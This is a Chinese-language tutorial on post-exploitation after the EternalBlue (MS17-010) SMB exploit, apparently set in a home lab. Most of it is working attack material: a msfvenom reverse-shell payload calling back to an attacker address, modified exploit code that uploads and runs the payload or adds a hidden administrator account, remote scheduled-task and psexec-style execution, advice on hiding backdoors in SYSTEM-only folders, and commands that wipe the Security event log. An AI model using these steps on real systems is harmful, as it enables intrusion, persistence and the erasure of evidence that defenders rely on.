从永恒之蓝看后渗透

我们今天的故事,从永恒之蓝开始……

工具地址:https://github.com/worawit/MS17-010

管道探测:

python2 checker.py 192.168.154.138

程序执行:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.154.159 lport=4444 -f exe -o rabbit.exe

变更如下函数,免杀处理后发送木马到目标指定目录并执行:

def smb_pwn(conn, arch):
    smbConn = conn.get_smbconnection()
    smb_send_file(smbConn, '/home/rabbit/rabbit.exe', 'C', '/Users/Public/rabbit.exe')
    service_exec(conn, r'cmd /c  c:\\Users\Public\rabbit.exe')

python zzz_exploit.py 192.168.154.138
脚本语法是需要管道名称的,如不指定则自动选择,如下上传并执行成功。

当然,这里只是个例子,运行的不一定是msf,自行替换。

账户控制

同样,使用zzz_exploit.py,函数变更如下新增账户:

def smb_pwn(conn, arch):
    service_exec(conn, r'cmd /c  net user shadow 1q2w3e4r! /add & net localgroup administrators shadow /add')
从永恒之蓝看后渗透_第1张图片
IPC$连接
#建立ipc$连接
net use \\192.168.15.180\ipc$ "1q2w3e4r!" /user:rabbitmask
#断开全部连接
net use * /del /y
#将目标C盘映射到本地的z盘,渗透测试一定不要做这个
net use z: \\IP\c$`
从永恒之蓝看后渗透_第2张图片
#把本地文件复制到目标主机的共享目录
copy C:\Users\RabbitMask\Desktop\rabbit.exe \\192.168.15.180\C$
#查看文件是否存在:
dir \\192.168.15.180\C$\rabbit.exe
#远程增加定时任务:
at \\192.168.15.180 21:38:00 C:\rabbit.exe
#取消全部定时任务
at \\192.168.15.180 /delete /y
#查看当前定时任务
at \\192.168.15.180

然而在我们的PC>win7版本时,不再支持at命令,替代方案为schtasks

#创建定时任务
schtasks /create /tn "test" /tr c:\rabbit.exe /sc once /st 10:02 /S 192.168.15.181 /RU System  /u rabbitmask /p "1q2w3e4r!"
#查看当前定时任务,如不加/tn test则查看全部
schtasks /Query /tn test /s 192.168.15.181 /u rabbitmask /p 1q2w3e4r!
#删除掉刚刚增加的定时任务
schtasks /Delete /tn test /F /s 192.168.15.181 /u rabbitmask /p 1q2w3e4r!
#参数解释
/create表示创建计划任务
/tn表示任务名
/tr指定运行的文件
/sc是任务运行频率
/st是执行时间
/s指定远程机器名或ip地址
/ru指定运行任务的用户权限,这里指定为最高的SYSTEM
#查看远程目标进程列表:
tasklist /s 192.168.15.180 /u rabbitmask /p 1q2w3e4r!
#杀死pid为1000的进程
taskkill /s 192.168.15.180 /f /pid 1000
#杀死名为rabbit.exe的进程
taskkill /s 192.168.15.180 /f /im rabbit.exe
目录选择

为什么要单独拿出目录选择来说道下呢,我们来看个比较,首先是administrator权限看到的C盘根目录:

从永恒之蓝看后渗透_第3张图片

然后我们通过木马的提升的system权限看一下:

从永恒之蓝看后渗透_第4张图片

可以看到其中有几个目录是用户看不到的,包括administrator,只有system拥有访问权限,这里就是后门最佳的隐藏地点。

其中System Volume Information可写作system~1,不用担心空格等问题:

从永恒之蓝看后渗透_第5张图片
会话获取

既然已经创建完账号密码了,想直接执行命令的话ipc$其实并不太方便,我们直接smb登录目标。
为什么不用RDP?我也问过同样的问题,差点没被内网大佬喷死,有些场合RDP确实风险极大,与君共勉。
这里安利个python的第三方库impacket

项目地址:https://github.com/SecureAuthCorp/impacket

  • smbexec
    其中有个打包好的工具smbexec,这里卖个关子,这里会用到,后边讲PTH也会用到。
python smbexec.py rabbitmask:[email protected]
从永恒之蓝看后渗透_第6张图片

这里我们已成功通过smb登录目标,且权限为system,最后建议退出方式exit,否则可能有未知错误,尝试指定下共享路径。

python smbexec.py rabbitmask:[email protected] -share admin$

这里插一句,共享路径是指的即逻辑共享(C$,D$,E$……)和系统目录(ADMIN$)共享,可通过net share了解:

从永恒之蓝看后渗透_第7张图片
  • wmiexec
    这是后来smbexec出现编码bug,大佬推荐的另一款工具,同属impacket包,他的使用需要调用wmi服务,占用目标的445、135和另一个随机端口,而smbexec只使用445端口,这一块协议/服务底层问题感兴趣的可以继续深入研究。
python wmiexec.py rabbitmask:[email protected]
  • msf_psexec
    上述脚本在应对某些目标机是可能存在命令编码问题,这可能是python环境导致的,所有提供个保底方案,msf。
use exploit/windows/smb/psexec
set rhosts 192.168.15.181
set smbuser rabbitmask
set smbpass 1q2w3e4r!
从永恒之蓝看后渗透_第8张图片
日志清理

适用范围>=win7
wevtutil gl security查看SECURITY日志的详细信息

从永恒之蓝看后渗透_第9张图片

wevtutil cl security清空SECURITY日志

从永恒之蓝看后渗透_第10张图片

同理可操作其他日志:APPLICATIONSETUPSYSTEMFORWARDEDEVENTS

你可能感兴趣的:(从永恒之蓝看后渗透)